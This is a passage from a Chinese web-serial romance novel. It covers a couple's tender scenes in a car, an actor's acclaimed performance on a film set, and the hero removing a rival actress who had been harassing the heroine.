他看向温言,语气认真,“你不是废物,你是她最重要的人,自然也是我要在意的人。我会帮你恢复健康,帮你实现你想做的事,因为她是你的姐姐,也是我的爱人。” 温栩栩听着黎昀笙的话,眼底闪过一丝恍惚。 她从未想过,黎昀笙会用这样郑重的语气,说出这样像告白的话。 那些平日里藏在强势与冷硬下的温柔,此刻毫无保留地展现出来,让她的心底泛起阵阵暖意,像被温水包裹着,连指尖都开始发烫。 温言看着黎昀笙眼底的认真,心里的警惕渐渐散了些。 他沉默了片刻,像是在权衡这份承诺的重量,终于开口,声音带着几分倔强与决绝:“好,话都说到这个份上了,我信你。但你要记住,不要背叛我姐姐,不要欺负我姐姐,否则我就算死,也要把你从神坛拉下来,一起同归于尽。”他眼底的坚定像一块磐石,哪怕自己身陷困境,也愿意为姐姐拼尽一切。 黎昀笙看着温言眼底的血性,眼底满是欣赏。 他站起身,伸手轻轻拍了拍温言的肩膀,语气带着几分傲气,却又满是真诚:“你有血性,这很好。我承诺,我身边只会有她一个人。” 他的目光落在温栩栩身上,像是在对着全世界宣告,“她是我黎昀笙认定的人,这辈子,下辈子,都只会是她。任何想要伤害她的人,包括我自己,都不会有好下场。”这份承诺没有华丽的辞藻,却带着沉甸甸的分量,像一座山,稳稳地压在温言和温栩栩的心底,让人心安。 温言看着黎昀笙眼底的坚定,终于彻底放下了心,轻轻点了点头。 温栩栩看着两人之间的互动,眼底满是笑意,心里暖暖的。她知道,温言的担忧在这一刻消散了大半,而她与黎昀笙之间的关系,也因为这份承诺,变得更加紧密。 离开医院后,夜色已深。黑色的轿车平稳地行驶在城市道路上,车内灯光柔和。 温栩栩坐到黎昀笙的大腿上,像只撒娇的小猫,蹭了蹭他的胸口,声音带着几分愉悦:“小言对你感官不错。” 第1459章 我在这里 黎昀笙抬手轻轻揽住她的腰,指尖感受着她腰间的温度,语气带着几分理所当然的傲气:“那不是应该的吗?我这么优秀,他当然会觉得好。” 温栩栩听着他的自恋,忍不住撇了撇嘴,眼底满是笑意:“你就自恋吧,谁让你这么自恋呢。” 黎昀笙看着她眼底的笑意,忍不住捏了捏她的脸颊,指尖带着暖意:“自恋也是因为有资本,再说了,我说的都是实话。倒是你,以后别再跟我装可怜了,不然我可不会轻易放过你。” 温栩栩靠在他怀里,听着他的心跳声,声音软下来:“知道了,我的黎少。” 夜色像一块浸了墨的绒布,将城市里零星的霓虹揉成模糊的光斑。 车内空间狭小,空气里浮动着两种截然不同的气息。 黎云笙身上清冽的雪松香,带着一丝冷调的克制,混着温栩栩身上淡淡的栀子花香,甜而不腻,交织出一种暧昧又隐秘的氛围。 车内的静谧像被拉长的丝线,裹着两人心底悄然滋生的悸动。 温栩栩坐在副驾驶,指尖无意识地蜷缩着,摩挲着安全带的纹路。 她偷瞥身旁的男人,黎云笙正微微侧着头,看向窗外飞逝的街灯,侧脸的线条冷硬而流畅,下颌线绷得有些紧,即便如此,他周身依旧萦绕着一种不容忽视的掌控感,像一棵扎根深土的古树,沉稳又疏离。 温栩栩的心跳渐渐快了起来,像怀里揣了只扑腾的小鸟。 她像是下定了某种决心,缓缓倾身向前。 她的动作极轻,像春日里飘落的花瓣,带着小心翼翼的试探,也藏着一丝不易察觉的讨好,她怕自己的主动会显得唐突,会让他退缩,可心底那份渴望靠近的冲动,终究压过了不安。 唇瓣触碰到黎云笙的瞬间,温栩栩的呼吸猛地一滞,连带着指尖都微微颤抖起来。 她的吻很轻,带着栀子花的温柔,轻轻碾过他的唇角。 黎云笙起初只是身体一僵,眼底闪过一丝意外,可很快,那丝意外便被一种更深沉的情绪取代。 他没有丝毫迟疑,抬手将人紧紧搂入怀中。他的手臂带着不容抗拒的力度,将温栩栩牢牢禁锢在自己的领域里,仿佛要将她揉进自己的体温,隔绝掉所有可能的不安与距离。 他的吻带着雪松的冷冽与炽热,像一场突如其来的骤雨,瞬间淹没了温栩栩的温柔试探。 两人的唇齿纠缠在一起,从轻柔的厮磨到愈发肆意的索取。 温栩栩渐渐沉溺在这份炽热里,眼尾泛起淡淡的绯红,像被水汽浸润的桃花,带着一种脆弱又迷人的诱惑。 她不自觉地贴紧黎云笙,像是在汲取温暖,又像是在回应他那份强势的掌控,纤细的手指悄悄攥住了他衬衫的衣摆,指节因用力而泛白,却又带着一种依赖的柔软。 黎云笙的手顺着她的衣摆探进去,指尖触碰到她细腻的肌肤时,温栩栩猛地一颤,喉咙里溢出一声极轻的呜咽,像小猫的低鸣,带着一丝不易察觉的羞怯与顺从。 他的动作带着一种不容置疑的强势,指腹带着薄茧,轻轻划过她腰侧的肌肤,激起一阵细密的战栗。 可在她颤抖得更厉害时,他的动作却又微微放缓,指腹轻轻摩挲着她的肌肤,像是一种温柔的安抚,又像在感知她的承受力。 车内温度渐渐升高,温栩栩的额头渗出细密的汗珠,顺着鬓角滑落,落在黎云笙的手腕上。 她趴在他怀中,呼吸交织在一起,带着一种暧昧的温度,唇瓣因亲吻而微微红肿,眼底满是迷离与沉溺,像一汪被揉碎的春水,倒映着黎云笙冷峻却带着温柔的脸庞。 她微微喘息着,每一次呼吸都带着急促的节奏,像在承受这份炽热的缠绵,又像在回应他的每一次深入。 黎云笙看着怀中温栩栩迷离的眼眸,眼底的冷感渐渐褪去,取而代之的是一种深沉的专注与温柔。 他抬手,指腹轻轻抚过她的脸颊,指尖带着一种克制的怜惜,与方才的强势形成鲜明的对比。 他能感受到她身体的颤抖,不是因为抗拒,而是因为沉溺与依赖,这份依赖让他心底某个荒芜的角落,悄悄萌生出一丝微弱的暖意。 “别怕。”他的声音低沉沙哑,带着一种安抚的力量,像大提琴的弦音,在温栩栩的耳畔轻轻响起,带着一种让人安心的磁性。 温栩栩听到这句话,眼底的迷离渐渐化为一种真切的安心,她轻轻点了点头,主动抬起手,环抱住黎云笙的腰,将脸埋进他的颈窝,感受着他颈间传来的温热体温与沉稳的心跳。 那心跳声透过薄薄的衬衫传到她的掌心,带着一种令人安心的节奏,仿佛在告诉她:“我在这里。” 黎云笙感受到她主动的依赖,眼底的温柔愈发浓烈。 他收紧手臂,将人搂得更紧,下巴轻轻抵在她的发顶,轻轻蹭了蹭,像是在安抚一只受惊的小兽。 他的唇又落了下来,这次落在她的额角、眉梢,带着一种温柔的缱绻,与方才的炽热不同,却更显深情。 温栩栩在他的亲吻里渐渐放松下来,眼底的迷离渐渐染上一丝羞怯与满足。 此刻,在黎云笙的怀里,她不用刻意讨好,不用伪装坚强,只需要做最真实的自己,就能被这样紧紧抱着,被这样温柔地亲吻。 车窗外,城市的灯火依旧闪烁,可车内的空间却仿佛与世隔绝,成了只属于他们的小小世界。 温栩栩趴在他怀中,感受着他胸腔传来的沉稳心跳,心底第一次涌起一种“被接纳”“被珍视”的安全感。 这份安全感,像一束光,照亮了她心底长久以来的孤独与不安。 而黎云笙感受着怀中温栩栩的柔软与依赖,眼底深处那片因过往伤痛而荒芜的土地,似乎也在这一刻,悄悄萌发了一丝微弱的绿意。 他轻轻吻了吻她的发顶,像是在许下一个无声的承诺。 第1460章 接住你的依赖守护你的柔软 我会接住你的依赖,也会守护你的柔软。 夜色正浓,暧昧的气息在车内弥漫,两人的呼吸交织在一起,像两股缠绵的溪流,缓缓流淌,不知终点,却满是温柔的期待。 …… 黑色轿车平稳地穿梭在城市夜幕中,窗外的霓虹灯透过车窗,在车内洒下斑驳而温柔的光影,将两人笼罩在一片静谧的暖意里。 温栩栩窝在黎昀笙怀里,指尖无意识地勾着他西装外套的纽扣,抬眸望向他的时候,眼底带着几分促狭的笑意,声音压得极低,像羽毛轻轻扫过心尖:“还是觉得你有点自恋哎。” 黎昀笙闻言挑眉,喉结滚动间溢出一声低笑,指尖捏了捏她柔软的耳垂,温热的触感顺着指尖蔓延开来,语气里满是不容置疑的笃定:“我是自恋吗?我说的难道不是事实?” 他顿了顿,目光灼灼地锁住她的眼眸,仿佛要将她整个人都吸进去,眼底的认真与炽热清晰可见,“我对你的在意,对这份关系的珍视,难道不值得你承认我的‘优秀’?” 温栩栩被他这理直气壮的模样逗得无奈,眼波流转间,伸手轻轻捏了捏他轮廓分明的脸颊,指尖触到的肌肤温热紧实,带着男性特有的硬朗,她故意拖长语调,带着几分调侃:“好英俊的一张脸,好厚的脸皮哦。” 话音刚落,黎昀笙便反手扣住她的手腕,动作干脆利落,带着不容置疑的强势,将她的手带到唇边。 他薄唇轻轻印在她指腹,温热的触感顺着指尖蔓延开来,带着暧昧的酥麻。 温栩栩被亲得轻哼一声,脸颊瞬间染上浅粉,像熟透的蜜桃,透着诱人的光泽,索性赖在他怀里,像只被顺了毛的小猫,蹭了蹭他西装内衬下温热的胸膛,软软地撒着娇,鼻尖萦绕着他身上淡淡的雪松香,让人安心又沉醉。 “我马上就要回《灵媒》剧组了,”温栩栩仰头望着他,眼眸里盛着几分期待与不舍,指尖轻轻划过他下巴的弧度,带着几分小心翼翼的试探,“你会不会想我?” 黎昀笙低笑一声,手臂猛地收紧,将她整个人都裹进怀中,另一只手捏住她的下巴,迫使她仰起头,眼眸里倒映着她娇俏的容颜,带着几分戏谑与认真交织的复杂情绪:“这话是不是该我问你?就怕某人回了剧组,就只知道演戏,不知所谓了,把我忘得一干二净。” 温栩栩连忙摇头,指尖戳了戳他的胸口,带着几分不服气,指尖下的肌肉紧实有力,让她莫名心安:“我哪有!你少在这里胡说八道,我每天都想你,只是没说而已。” 黎昀笙低笑一声,眼底的笑意更深,薄唇随即落下,带着不容拒绝的强势,从她的唇角缓缓蔓延,辗转缠绵。 温热的气息交织在一起,他的吻带着专属的霸道与温柔,像是要将她整个人都揉进自己的世界里。 温栩栩被亲得浑身发软,忍不住发出一声轻不可闻的嘤咛,像春日里初绽的花苞被风吹动的轻响,带着无尽的缠绵与依恋,手指不自觉地抓紧了他西装的衣摆,指尖泛白,却又带着几分眷恋。 两人的呼吸渐渐急促,车厢内的温度仿佛都在这缠绵的亲吻中升高,暧昧的气息几乎要将两人包裹其中,连空气都变得粘稠起来,只剩下彼此的心跳声在寂静中交织,清晰可闻。 许久,黎昀笙才稍稍退开些许,薄唇仍贴着她的唇瓣,声音低沉沙哑,带着亲吻后的余韵,在她耳边缓缓响起,温热的气息拂过她的耳廓,带着几分痒意:“别人我不管,但你最好离墨澜远一些,不要让我再知道你们两人眉来眼去。” 温栩栩脸颊还带着未褪的绯红,闻言有些无语地揪住他的领带,指尖用力扯了扯,领带微微变形,偷着几分娇软:“什么叫我跟他眉来眼去,我们什么时候眉来眼去过?你少在这里无理取闹,墨澜老师在片场一直都是很专业的,我们之间只有正常的对手戏交流。” “对视。”黎昀笙语气平静,却带着几分不容置疑的强势,眼底闪过一丝不易察觉的醋意,“目光在对方身上停留超过三秒,就是眉来眼去,这规矩是我定的,你得遵守。” 温栩栩:“……” 她简直哭笑不得,眼底满是震惊与无奈,“黎昀笙你最好不是在开玩笑,什么叫对视就是在眉来眼去,到底是你在开玩笑还是我听错了?我们拍戏的时候不看对手的眼睛怎么演?你这分明是故意找茬。” “你没听错,我就是这个意思。”黎昀笙看着她眼底的震惊与无奈,依旧淡定从容,语气里带着几分认真的固执,眼底的醋意却丝毫没有掩饰,“离墨澜远一些,我不想看到你们之间有任何多余的互动。” 温栩栩捏了捏眉心,实在是觉得有些过于离谱,指尖划过他领带的纹路,带着几分无奈的笑意:“我能知道为什么吗?我觉得墨澜老师挺正经的,人品也好,演技更是一流,你是不是对他有什么误解?” “因为他浪。”黎昀笙语气平静,吐出三个字,却带着几分傲娇的醋意,眼底闪过一丝不易察觉的警惕,“圈里那些传闻,不是空穴来风。” 温栩栩听着这话,忍不住笑出了声,眼底满是暖意与调侃:“有一说一,墨澜绝对不如盛景炎浪。你这么在意墨澜,说白了还是墨澜有竞争力,墨澜家室好、相貌出众、人品端正,又是圈内公认的演技派,这样的存在自然会让你产生危机感了。” 她顿了顿,指尖轻轻划过他下巴的弧度,带着几分促狭,“不过,我倒是觉得你这样挺可爱的,原来高高在上的黎昀笙,在感情里也会有这么幼稚又较真的模样。” 黎昀笙听着她的话,眼底闪过一丝傲气,却并未否认,反而伸手轻轻揉了揉她的发顶,指腹感受着她柔顺的发丝,带着几分安抚的意味:“他确实有竞争力,但再好,也比不上我对你的心意。” 第1461章 我不允许任何人觊觎 温栩栩靠在他怀里,指尖轻轻划过他西装的纽扣,声音软软的,带着几分撒娇的意味:“我知道啦,你放心,我心里只有你,才不会被别人吸引呢。我会离他远一点的,平常除了拍戏的时候,我是不会主动接近墨澜老师的,好不好?我保证,拍戏的时候也只看剧本,不跟他有多余的眼神交流。” 黎昀笙看着她眼底的乖巧与认真,终于满意地揉了揉她的发顶,指腹轻轻摩挲着她发丝,眼底满是柔和的光芒:“这才对。记住,你是我的,我不允许任何人觊觎。” 换做是其他人听到这句话或许心里会不舒服,但温栩栩不觉得不舒服,两人还真的是一个愿打一个愿挨。 温栩栩点点头,指尖划过他西装的纹路,声音带着几分慵懒与依赖:“我知道啦,你放心吧。有你在我身边,我不会被别人吸引。” 黎昀笙低笑一声,手臂收紧,将她抱得更紧,下巴抵在她的发顶,声音低沉而温柔:“我相信你。但该提醒的还是要提醒,我不想让任何不确定的因素影响到我们,更不想让你受到任何委屈。” 温栩栩靠在他怀里,感受着他胸膛传来的温度与沉稳的心跳声,心里满是安定与温暖。 她伸手轻轻抱住他的腰,指尖感受着他腰间的温度,声音软软的:“嗯,我知道的,你放心,我会好好拍戏,不让你失望。” 黎昀笙低头看着怀里的人儿,眼底满是柔和的光芒。 他想起刚才在病房里对温言的承诺,此刻抱着温栩栩,这份承诺变得更加清晰。 他会护着她,护着她身边的人,让他们都能活得比任何人都好,让那些曾经试图伤害她的人,都付出代价。 夜色渐深,轿车平稳地向前行驶,车内的暖意与缠绵,像一层柔软的茧,将两人紧紧包裹。 …… 温栩栩回到《灵媒》剧组时,片场正被一种近乎凝滞的静谧笼罩。 所有工作人员都屏息凝神,目光聚焦在中央的墨澜身上。 他正演绎着“游远”在梦境中与自我对弈的关键戏份。 这场戏没有激烈的动作,也没有繁复的台词,全靠眼神、微表情和肢体语言传递角色内心的撕裂与挣扎,是整部剧中对演技要求最苛刻的段落之一。 墨澜此刻的状态,像一块被精心雕琢的玉石,透着沉静而锋利的光芒。 他身着一袭素白长衫,衣料随着他轻微的呼吸起伏,袖口与下摆垂落时带着恰到好处的弧度,既显出角色“游远”作为梦境守护者的清冷,又暗藏着梦境外的孤寂。 镜头聚焦在他的面部,只见他双眸微垂,眼睑上晕着一层淡淡的阴影,像是被梦境的迷雾浸染。 下一秒,他缓缓抬眸,瞳孔中没有聚焦点,却仿佛容纳了整个虚空。 那是一种“空而实满”的状态,让旁观者能清晰感受到角色正置身于一个虚实交织的梦境空间里。 随着剧情推进,“游远”的梦境开始变得混乱。 墨澜的肢体语言随之发生变化,原本沉稳的站姿渐渐出现细微的晃动,像是站在即将崩塌的梦境边缘。 他的手指无意识地蜷缩又舒展,指尖微微发颤,仿佛在触碰那些看不见的梦境碎片。 突然,他眼神一凛,瞳孔骤然收缩,像是在梦中看到了“另一个自己”,那是他分裂的自我,是埋藏在潜意识里的恐惧与执念。 他猛地向后退了半步,脚跟撞到地面的道具时发出轻微的声响,身体微微晃动,却在瞬间稳住,脊背依旧挺直,显露出角色骨子里的倔强。 “你……是谁?”墨澜终于开口,声音沙哑低沉,带着几分梦境特有的虚幻感。 他的语速很慢,每一个字都像是从喉咙深处挤出来,带着厚重的疲惫与警惕。 说话时,他的下颌线微微绷紧,嘴角向下抿出一道浅浅的弧度,不是愤怒,而是一种近乎绝望的清醒,他知道自己在与自我对话,却无法挣脱梦境的桎梏。 镜头缓缓推进,捕捉到墨澜眼底的细微变化。 他的瞳孔深处渐渐泛起一层浅淡的红,不是血色的刺眼,而是像被火光映照的晚霞,带着灼热的痛感。 他的呼吸开始急促,胸口起伏的频率越来越快,额头渗出细密的汗珠,顺着鬓角滑落,滴在衣领上晕开一小片深色。 他抬起手,指尖指向对面的虚空,手臂却在半空中颤抖着,像是在与无形的对手角力。 那颤抖不是失控,而是精准控制下的表演。每一个细微的震颤,都在传递“游远”内心的拉扯,他既想与自我和解,又害怕直面那些被掩埋的黑暗。 突然,梦境中的“另一个自己”向他逼近。 墨澜的眼神瞬间变得凌厉,瞳孔中的红色更深,像燃烧的火焰。 他猛地向前踏出一步,手臂用力挥出,指尖划过空气时带着破空的气势,那是“游远”在反抗,在试图抓住梦境中的希望。 但下一秒,他的动作又骤然停滞,身体微微前倾,像是被无形的力量击中,眼底的火焰瞬间熄灭,只剩下无边的黑暗与迷茫。 他缓缓低下头,长发垂落,遮住了大半张脸,只露出紧抿的嘴角和微微颤抖的下颌线。 他的肩膀轻轻耸动,不是啜泣,却比啜泣更能传递出角色内心的崩溃,那是对自我认知的彻底混乱,是对梦境尽头的恐惧。 就在这时,梦境出现了转机。 “游远”似乎想起了什么重要的事情。 墨澜的眼神渐渐亮了起来,瞳孔中的红色渐渐褪去,取而代之的是一种温润而坚定的光芒,像是穿透迷雾的晨光。 他缓缓抬起手,指尖不再颤抖,而是带着一种沉静的力量,轻轻触碰面前的虚空。 他的嘴角微微上扬,不是夸张的笑容,而是一种极淡、却极温柔的弧度,那是“游远”在与自我和解,是在混乱的梦境中找到了出口。他的呼吸渐渐平稳,身体的紧绷感慢慢消散,脊背依旧挺直,却多了一份从容与坚定。 “我……是游远。”墨澜轻声说道,声音依旧沙哑,却带着一种穿透一切的力量。 他说完这句话,缓缓抬起头,目光望向镜头之外,眼神清澈而坚定,像是穿透了梦境,看到了现实的曙光。 那一刻,他的脸上没有多余的表情,却让所有人感受到一种“破茧重生”的力量。 那是角色在梦境对弈中战胜自我、找到归途的瞬间。 第1462章 让她彻底翻不了身 这是墨澜的独角戏,独属于墨澜自己的重头戏,如果是其他人可能会把这场戏演的很尴尬,但墨澜不会,最初秦扬帆导演还很担心这场戏拍不好,但现在有了墨澜,完全不担心会变成尬演为难后期。 镜头定格在墨澜的脸上,足足持续了十秒。 直到导演喊“卡”,片场依旧一片寂静,所有人都被墨澜的表演震慑住,连呼吸声都变得轻微。 几秒后,掌声才缓缓响起,导演激动地站起身:“太好了!墨澜,你的表演太精准了!把‘游远’在梦境中的挣扎、崩溃与重生都演活了!” 墨澜听到掌声,眼底的光芒渐渐褪去,恢复了平日的沉静。 他微微点头,向导演和工作人员致意,动作优雅而谦逊。 温栩栩站在一旁,看着墨澜的表演,眼底满是钦佩。 她知道,这场戏的每一个细节,墨澜都提前演练了无数遍,甚至连呼吸的节奏都经过精心设计。 他没有用任何夸张的表演去吸引眼球,而是用最细腻、最真实的演技,将角色的内心世界完整地展现在观众面前,让人在静默中感受到震撼。 这场“梦境对弈”,没有华丽的特效,没有繁复的台词,却凭借墨澜精湛的演技,成为《灵媒》中最令人难忘的片段之一。 它不仅展现了角色“游远”的内心成长,也让观众看到了墨澜作为演员的深厚功底。 他用演技证明,真正的表演,不在于外在的张扬,而在于内心的细腻与力量。 温栩栩走过去笑了笑开口道:“墨澜老师好厉害,这场戏的爆发力简直无人能及。” 墨澜用毛巾擦拭着汗湿的额头,抬眸看向温栩栩轻笑道:“比不及你那场自我献祭的戏份更吸晴,我这只是在及格线上加了点分的演技,你那场戏才是唯美又悲情,绝对会是《灵媒》真正的重头高潮戏,虽然剧还没上映,但我可以预定这是未来会被剪辑的高热片段。” 墨澜就是欣赏温栩栩,从入组开始见识过温栩栩的演技后墨澜一直都欣赏她,不然也不会再知道温栩栩跟黎云笙有关系后特意劝谏。 若是旁的什么人墨澜才不管这些呢,但现在换了温栩栩墨澜才有那心思插手的。 两人寒暄了几句墨澜开口道:“我在海外有场高奢代言活动大概要去一周,秦扬帆导演也临时有事,她跟那位高奢品牌的总监是老友,所以要跟我一起去M国一趟,剧组副导演这边需要盯着点,你有什么问题直接找我或者找秦导都行。” 温栩栩应下了。 只是温栩栩都没料到,墨澜才走了两天自己就在剧组被人特意针对了。 秦扬帆和墨澜在的时候还能压得住剧组的牛鬼蛇神,秦扬帆和墨澜不在,一群魑魅魍魉全都冒头了。 …… 《灵媒》片场的聚光灯刺眼而炽热,温栩栩刚结束一场高难度的舞蹈戏,额角的汗水顺着下颌线滑落,浸湿了戏服的领口。 她扶着道具箱喘息,指尖因长时间保持高难度动作而微微发颤,连呼吸都带着灼热的痛感。场记小跑过来递水时,眼神里满是同情:“温老师,王双双那边把明天的戏份调到凌晨三点了,说是……赶进度。” 温栩栩接过水杯,冰凉的触感让她混沌的脑子清醒了几分。 她抬头望向远处的王双双,对方正站在副导身边,妆容精致的脸上带着虚伪的笑意,察觉到她的目光,还故意扬了扬下巴,眼神里满是挑衅。 她心里明白,这是王双双在报复。 自从自己在综艺上爆红,又有了黎昀笙的公开支持,王双双觉得是她抢走了她爆红的机会,失了势,只能眼睁睁看着自己站在聚光灯下。 “知道了。”温栩栩声音平静,却带着几分冷硬。 她不是没经历过打压,孤儿院的岁月早就教会她忍耐与反击,只是这一次,她身后多了个黎昀笙,多了份底气。 其实被人针对对温栩栩来说不算是什么大事,她还能扛得住,就没打算让黎云笙知道这件事,未免显得小题大做了一些。 可万万没想到她想忍一忍,偏偏有些人就觉得她真的好欺负了。 接下来的几天,王双双的手段愈发明目张胆。 除了连续调整拍摄时间,让她每天只能睡三四个小时,还在片场私下散布谣言:“你们不知道吧?温栩栩能拿到女主,全靠黎家的黎昀笙撑腰。不然就她那点演技,早该被换掉了。” 谣言像藤蔓一样在片场蔓延,有些工作人员看温栩栩的眼神开始变了,带着几分轻视与不屑。 温栩栩没空理会这些流言蜚语,她把所有精力都投入到表演中。 凌晨三点的片场,寒气刺骨,她穿着单薄的戏服,一遍遍打磨动作,直到每一个眼神、每一个转身都精准到位。 副导演看着监视器里温栩栩的表现,忍不住感叹:“这姑娘,是真拼。” 谣言传到黎昀笙耳中时,他正坐在黎煌娱乐的顶层办公室里,指尖轻轻敲击着桌面,眼底满是冷意。 助理站在一旁,低声汇报着片场的情况,声音带着几分迟疑:“王双双那边……动作很频繁,要不要现在就出手?” “不急。”黎昀笙抬眸,看向窗外的夜色,语气平静却带着不容置疑的强势,“让她再蹦跶几天,等她把所有手段都使出来,再一次性解决,让她彻底翻不了身。”他顿了顿,眼底闪过一丝寒芒,“去查,王双双和王世豪最近跟哪些人有往来,还有,她之前在其他剧组的黑料,都挖出来,备份好。” 助理应声离开,办公室里只剩黎昀笙一人。 他拿起手机,拨通温栩栩的电话,铃声只响了两声就被接起,温栩栩的声音带着几分疲惫,却依旧清亮:“喂,黎昀笙?” “累不累?”黎昀笙语气瞬间柔和下来,指尖轻轻摩挲着手机边缘,像是在安抚她,“我听说你凌晨三点还在拍戏。” 第1463章 照顾 温栩栩笑了笑,靠在休息室的墙上,眼底满是坚定:“不累,这点辛苦不算什么。我只是……有点烦那些谣言,怕影响到剧组的氛围。” “不用管那些闲言碎语。”黎昀笙语气平静却带着十足的底气,“你是凭实力拿到的角色,你的表演会证明一切。至于那些造谣的人,我会让他们付出代价。” 他顿了顿,声音里带着几分温柔,“我明天去片场探班,给你带了热粥,你别太辛苦了。” 温栩栩眼底闪过一丝暖意,心里的疲惫仿佛都被驱散了几分:“好,我等你。” 第二天下午,一辆黑色的宾利缓缓停在《灵媒》片场门口。 车门打开,黎昀笙一身高定西装,身形挺拔,面容冷峻,瞬间吸引了所有人的目光。 他径直走向温栩栩的休息室,沿途的工作人员纷纷侧目,窃窃私语声瞬间安静下来。 温栩栩正对着镜子补妆,听到脚步声抬头,看到黎昀笙时,眼底瞬间亮了起来,像暗夜里突然亮起的星辰。黎昀笙走到她身边,将手里的保温桶递过去,声音温柔:“刚熬的粥,你趁热喝,补充点体力。” “你怎么来了?”温栩栩接过保温桶,指尖触到温热的桶壁,心里满是暖意。 “想你了,就来看看。”黎昀笙语气自然,丝毫没有在意周围的目光,伸手轻轻拂去她额前的碎发,动作温柔又亲密。 这一幕落在周围人眼里,瞬间炸开了锅。 黎昀笙在圈内以冷峻难惹著称,从不公开露面,更别提对谁这么温柔,这下谣言不攻自破。 王双双站在片场角落,指尖攥着裙摆,指节泛白。 她早早就打听清楚黎昀笙的身份,心里盘算着无数遍等他来探班,自己就主动凑上去,借着“同为剧组演员”的由头,说些恰到好处的奉承话,再不经意间流露几分楚楚可怜的姿态。 她笃定,像黎昀笙这种手握权势的男人,总会对主动示好的女人多几分耐心,只要能搭上这根线,别说重回《灵媒》的剧组,以后在娱乐圈的资源只会比从前更盛。 她甚至已经在脑海里演练好了开场白,先提一提黎昀笙名下的某个项目,装作不经意的熟稔,再夸赞温栩栩“能得昀笙哥看中,真是好福气”,把姿态放得低些,显得谦逊又识趣。 她以为,只要足够主动,足够懂得揣摩上位者的心思,总能分得一杯羹。 可当那辆黑色宾利缓缓停在片场门口,黎昀笙一身高定西装走下来的瞬间,王双双的算盘瞬间落了空。 她快步迎上去,脸上堆起自认为最得体的笑意,刚要开口:“昀笙哥,您怎么来了……”,却见黎昀笙连眼神都没分给她半分,径直越过她,走向温栩栩的方向。 那笑意像被骤然泼了冰水,瞬间在她脸上凝固。她僵在原地,看着黎昀笙将保温桶递给温栩栩,动作自然又亲昵,指尖拂过温栩栩额前碎发时,眼底的温柔浓得化不开。 方才还冷峻如冰的黎昀笙,在面对温栩栩时,像换了个人,那股子从骨子里透出的柔和,让她心里泛起一阵尖锐的嫉妒。 更让她难堪的是,当她强撑着笑意再次凑上去,试图找补时,黎昀笙转头看向她,眼底的温柔瞬间褪去,只剩下刺骨的寒意与不容置疑的强势。 他语气平静,却带着碾压般的压迫感:“我来探班我女朋友,还需要提前跟你说?王双双,你是不是管得太宽了?” 那句“我女朋友”,像一记重锤,砸得王双双头晕目眩。 她看着黎昀笙眼底的冰冷,看着他护在温栩栩身前的姿态,突然明白过来。 自己那些自以为是的算计,在温栩栩的直接与黎昀笙的偏爱面前,不堪一击。 温栩栩要什么,从来都是坦坦荡荡地说,比如她会直接跟黎昀笙说“我累”,说“我想要这个角色”,从不藏着掖着。 而黎昀笙,恰恰就喜欢她这份不拖泥带水的直接,喜欢她眼里没有那些弯弯绕绕,只有纯粹的坦诚。 反观自己,满心的算计与讨好,在这份纯粹面前,显得格外可笑又卑微。 王双双的嘴唇颤抖着,脸上的笑意彻底消失,只剩下苍白与狼狈。 她看着黎昀笙眼底的寒芒,看着温栩栩依偎在黎昀笙身边的安心模样,心里的嫉妒与不甘像藤蔓一样疯狂滋长,却再也找不到半分上前讨好的勇气。 她终于明白,自己费尽心思想要攀附的高枝,从一开始,就只属于温栩栩。 黎昀笙转头看向她,眼底的温柔瞬间消失,只剩下冷冽的寒意,他眼底带着明显的压迫感 王双双脸色瞬间变得苍白,强撑着笑容:“黎少,我不是这个意思,我只是……” “你只是什么?”黎昀笙打断她,目光锐利如刀,“我听说你最近很闲,有空在片场散布谣言,还有空调整拍摄时间,是不是觉得黎氏的资源对你太宽容了?” 王双双浑身一僵,脸色惨白如纸,她没想到黎昀笙会直接撕破脸,声音带着几分颤抖:“黎少我……我没有散布谣言,是别人乱说的,拍摄时间也是为了赶进度……” “够了。”黎昀笙语气冰冷,带着不容置疑的强势,“我不管你是真赶进度还是假赶进度,从今天开始,温栩栩的戏份恢复正常的拍摄时间,凌晨三点的戏份全部取消。还有,那些关于温栩栩的谣言,如果再让我听到一句,别怪我不念旧情,让黎氏撤掉你所有的资源。” 王双双脸色瞬间变得惨白,嘴唇颤抖着说不出话来,她知道黎昀笙说到做到,自己这次彻底栽了。 周围的工作人员看着这一幕,眼神里的轻视彻底消失,取而代之的是敬畏与钦佩。 原来温栩栩真的有靠山,而且是黎昀笙这种级别的,怪不得敢跟王双双硬碰硬。 温栩栩看着黎昀笙为自己出头,眼底满是暖意,她伸手轻轻拉了拉他的袖子,轻声说:“别生气了,我没事的。” 第1464章 有我在,没人敢欺负你 黎昀笙转头看向她,眼底的冷意瞬间消散,只剩下温柔:“嗯,有我在,没人敢欺负你。” 王双双站在片场边缘,指尖还残留着方才想要讨好黎昀笙时攥紧裙摆的力道,脸上的笑意像被骤然凝固的冰层,从眼角眉梢一路蔓延到唇角,僵硬得近乎可笑。 她看着黎昀笙越过自己,径直走向温栩栩,将保温桶递过去时指尖相触的温柔,看着他低头在温栩栩耳边低语时眼底漫开的暖意,那股子从心底翻涌上来的嫉妒几乎要将她吞噬。可她还没来得及收敛情绪,助理的出现便彻底撕碎了她所有的幻想。 黎昀笙的助理快步走到他身边,俯身在他耳边低语几句,声音极轻,却带着不容忽视的严肃。 黎昀笙听着,指尖依旧把玩着温栩栩的手指,动作从容,可眼底的温度却以肉眼可见的速度降了下来,从方才的柔和转为冰冷的寒潭,连带着周身的气压都沉了几分。 他微微颔首,目光终于落在了王双双身上,那眼神没有半分温度,像在看一件毫无价值的废品,语气更是冷得像淬了冰:“王双双,你之前在《锦绣山河》剧组收受贿赂,让关系户顶替原定演员的事,证据我已经发给导演和制片方了。从今天起,你不再是《灵媒》的演员,收拾东西,离开片场。” 这句话像一道惊雷,毫无预兆地劈在片场中央。 王双双浑身一震,原本惨白的脸色此刻更是没了半分血色,像一张被揉皱的白纸,连嘴唇都在不受控制地颤抖。 她张了张嘴,却发不出半点声音,身体踉跄着后退一步,撞到了身后的道具架,发出“哐当”一声轻响。 那声音在寂静的片场里格外刺耳,也彻底将她从震惊中拉回现实。 她要被赶走了,不是被温栩栩,不是被导演,而是被黎昀笙,用最直接、最不留情面的方式赶出这个她好不容易挤进来的剧组。 周围的工作人员早已屏住了呼吸,一个个瞪大了眼睛看着这一幕,连手中的工作都忘了做。 有人悄悄攥紧了衣角,有人忍不住倒吸一口凉气,黎昀笙出手太狠了,不仅直接断了王双双在《灵媒》的路,还把证据都递了上去,这分明是要让王双双身败名裂,连翻身的机会都没有。 可仔细一想,黎昀笙确实有这个底气。 